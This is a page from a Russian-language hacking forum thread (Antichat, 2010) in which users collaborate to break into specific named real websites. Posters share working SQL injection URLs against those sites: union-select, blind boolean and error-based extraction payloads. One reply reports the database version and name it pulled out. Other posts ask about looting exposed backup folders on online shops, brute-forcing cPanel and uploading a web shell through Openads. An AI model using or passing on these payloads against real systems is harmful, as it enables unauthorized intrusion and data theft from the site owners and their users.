HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1360 из 2438 « Первая < 360860126013101350 1356 1357 1358 1359 1360 1361 1362 1363 1364 13701410146018602360 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #13591  
Старый 03.06.2010, 12:23
.:[melkiy]:.
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
С нами: 9100556

Репутация: 912
По умолчанию
Цитата:
Сообщение от haito  
привет команде;

Можно ли придать этим сайтом? потому что я пытался, но никакого результата

http://www.aquaticplantcentral.com/forumapc/plantfinder/details.php?id=36%27

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''36''' at line 1

http://www.aquaticplantcentral.com/forumapc/plantfinder/details.php?id=36%20order%20by%201000-- <-true
_http://www.aquaticplantcentral.com/forumapc/plantfinder/details.php?id=-36'+union+select+1,version(),3,4,5,6,7,8,9,10,11,1 2,13,14,15,16,17,18,19,20,21,22--+

Цитата:
Сообщение от FlaktW  
Здесь есть SQL-inj?

http://www.bigr.nl/website/structure/main.php?page=people&subpage=person&id=51'+order+b y+1000+--+

_http://www.bigr.nl/website/index.php?page=people&subpage=person&id=JifkeVeenl and')+and+substring(version(),1,1)=5+and+('1'='1

или через ошибку

_http://www.bigr.nl/website/index.php?page=people&subpage=person&id=JifkeVeenl and')+and+(SELECT+COUNT(*)+FROM+(SELECT+1+UNION+SE LECT+2+UNION+SELECT+3)x+GROUP+BY+CONCAT(MID(VERSIO N(),1,63),+FLOOR(RAND(0)*2)))+and+('1'='1

не смог больше ничего придумать..
Последний раз редактировалось .:[melkiy]:.; 03.06.2010 в 12:39..
 
Ответить с цитированием

  #13592  
Старый 03.06.2010, 13:17
FlaktW
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами: 8803961

Репутация: 8
По умолчанию
Цитата:
http://www.bigr.nl/website/index.php?page=people&subpage=person&id=JifkeVeenl and')+and+substring(version(),1,1)=5+and+('1'='1

или через ошибку

_http://www.bigr.nl/website/index.php?page=people&subpage=person&id=JifkeVeenl and')+and+(SELECT+COUNT(*)+FROM+(SELECT+1+UNION+SE LECT+2+UNION+SELECT+3)x+GROUP+BY+CONCAT(MID(VERSIO N(),1,63),+FLOOR(RAND(0)*2)))+and+('1'='1

не смог больше ничего придумать..
Класс!
Последний раз редактировалось FlaktW; 03.06.2010 в 13:24..
 
Ответить с цитированием

  #13593  
Старый 03.06.2010, 13:25
haito
Новичок
Регистрация: 27.05.2010
Сообщений: 13
С нами: 8399502

Репутация: 0
По умолчанию
привет команде;

http://www.msufoundation.com/impact/stories/details.php?id=-36 union all select 1,concat_ws(0x3a,unhex(hex(version())),unhex(hex(d atabase()))),3,2,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23,24,25,26,27,28--

мы получили->4.1.14:extaffairs

http://www.msufoundation.com/impact/stories/details.php?id=36 and substring(version(),1,1)=4 -> true

Я не знаю, почему он тут ошибки, это должно быть правдой
http://www.msufoundation.com/impact/stories/details.php?id=36 and substring(database(),1,1)="e" <-error
Последний раз редактировалось haito; 03.06.2010 в 13:29..
 
Ответить с цитированием

  #13594  
Старый 03.06.2010, 13:34
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами: 9642449

Репутация: 606


По умолчанию
Цитата:
Сообщение от haito  
привет команде;

http://www.msufoundation.com/impact/stories/details.php?id=-36 union all select 1,concat_ws(0x3a,unhex(hex(version())),unhex(hex(d atabase()))),3,2,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23,24,25,26,27,28--

мы получили->4.1.14:extaffairs

http://www.msufoundation.com/impact/stories/details.php?id=36 and substring(version(),1,1)=4 -> true

Я не знаю, почему он тут ошибки, это должно быть правдой
http://www.msufoundation.com/impact/stories/details.php?id=36 and substring(database(),1,1)="e" <-error

MagicQuotes on
 
Ответить с цитированием

  #13595  
Старый 03.06.2010, 14:33
v1d0qz
Познающий
Регистрация: 21.07.2007
Сообщений: 68
С нами: 9898501

Репутация: 257
По умолчанию
Цитата:
Сообщение от haito  
привет команде;

http://www.msufoundation.com/impact/stories/details.php?id=-36 union all select 1,concat_ws(0x3a,unhex(hex(version())),unhex(hex(d atabase()))),3,2,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23,24,25,26,27,28--

мы получили->4.1.14:extaffairs

http://www.msufoundation.com/impact/stories/details.php?id=36 and substring(version(),1,1)=4 -> true

Я не знаю, почему он тут ошибки, это должно быть правдой
http://www.msufoundation.com/impact/stories/details.php?id=36 and substring(database(),1,1)="e" <-error
http://www.msufoundation.com/impact/stories/details.php?id=36+and+lower(ascii(substring(database(),1,1)))=101
Последний раз редактировалось v1d0qz; 03.06.2010 в 14:38..
 
Ответить с цитированием

  #13596  
Старый 03.06.2010, 14:54
total90
Участник форума
Регистрация: 30.09.2009
Сообщений: 148
С нами: 8743576

Репутация: 241
По умолчанию
Цитата:
Сообщение от v1d0qz  
http://www.msufoundation.com/impact/stories/details.php?id=36+and+lower(ascii(substring(database(),1,1)))=101

Или же
http://www.msufoundation.com/impact/stories/details.php?id=36+and+substring(database(),1,1)=0x 65
 
Ответить с цитированием

  #13597  
Старый 03.06.2010, 15:21
DrakonSerg
Познающий
Регистрация: 16.04.2009
Сообщений: 81
С нами: 8984365

Репутация: 45
По умолчанию
что можно вытащить полезного (к чему докопаться) если просматриваются папки
/backup/
/includes/
/js/
/scripts/
/temp/
/email/
очень много таких сайтов насобиралось, в основном онлайн шопы.
И еще одно, есть ли возможность взлома либо брута cPanel 11?
 
Ответить с цитированием

  #13598  
Старый 03.06.2010, 16:06
haito
Новичок
Регистрация: 27.05.2010
Сообщений: 13
С нами: 8399502

Репутация: 0
По умолчанию
Привет группы;

Можно ли придать этим сайтом?, потому что у нас нет какой-либо аргумент URL

http://www.kitterytradingpost.com/product.php
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
 
Ответить с цитированием

  #13599  
Старый 03.06.2010, 17:07
[Feldmarschall]
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
С нами: 8603287

Репутация: 87
По умолчанию
Цитата:
Сообщение от haito  
Привет группы;

Можно ли придать этим сайтом?, потому что у нас нет какой-либо аргумент URL

http://www.kitterytradingpost.com/product.php
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
http://www.kitterytradingpost.com/product.php/prodid/3647
делаешь так
http://www.kitterytradingpost.com/product.php?prodid=-3647 и вот тут дальше копай
 
Ответить с цитированием

  #13600  
Старый 03.06.2010, 17:34
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами: 8885780

Репутация: 672


По умолчанию
ребят есть способ заливки шелла через Openads (phpAdsNew) ?
 
Ответить с цитированием
Ответ
Страница 1360 из 2438 « Первая < 360860126013101350 1356 1357 1358 1359 1360 1361 1362 1363 1364 13701410146018602360 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.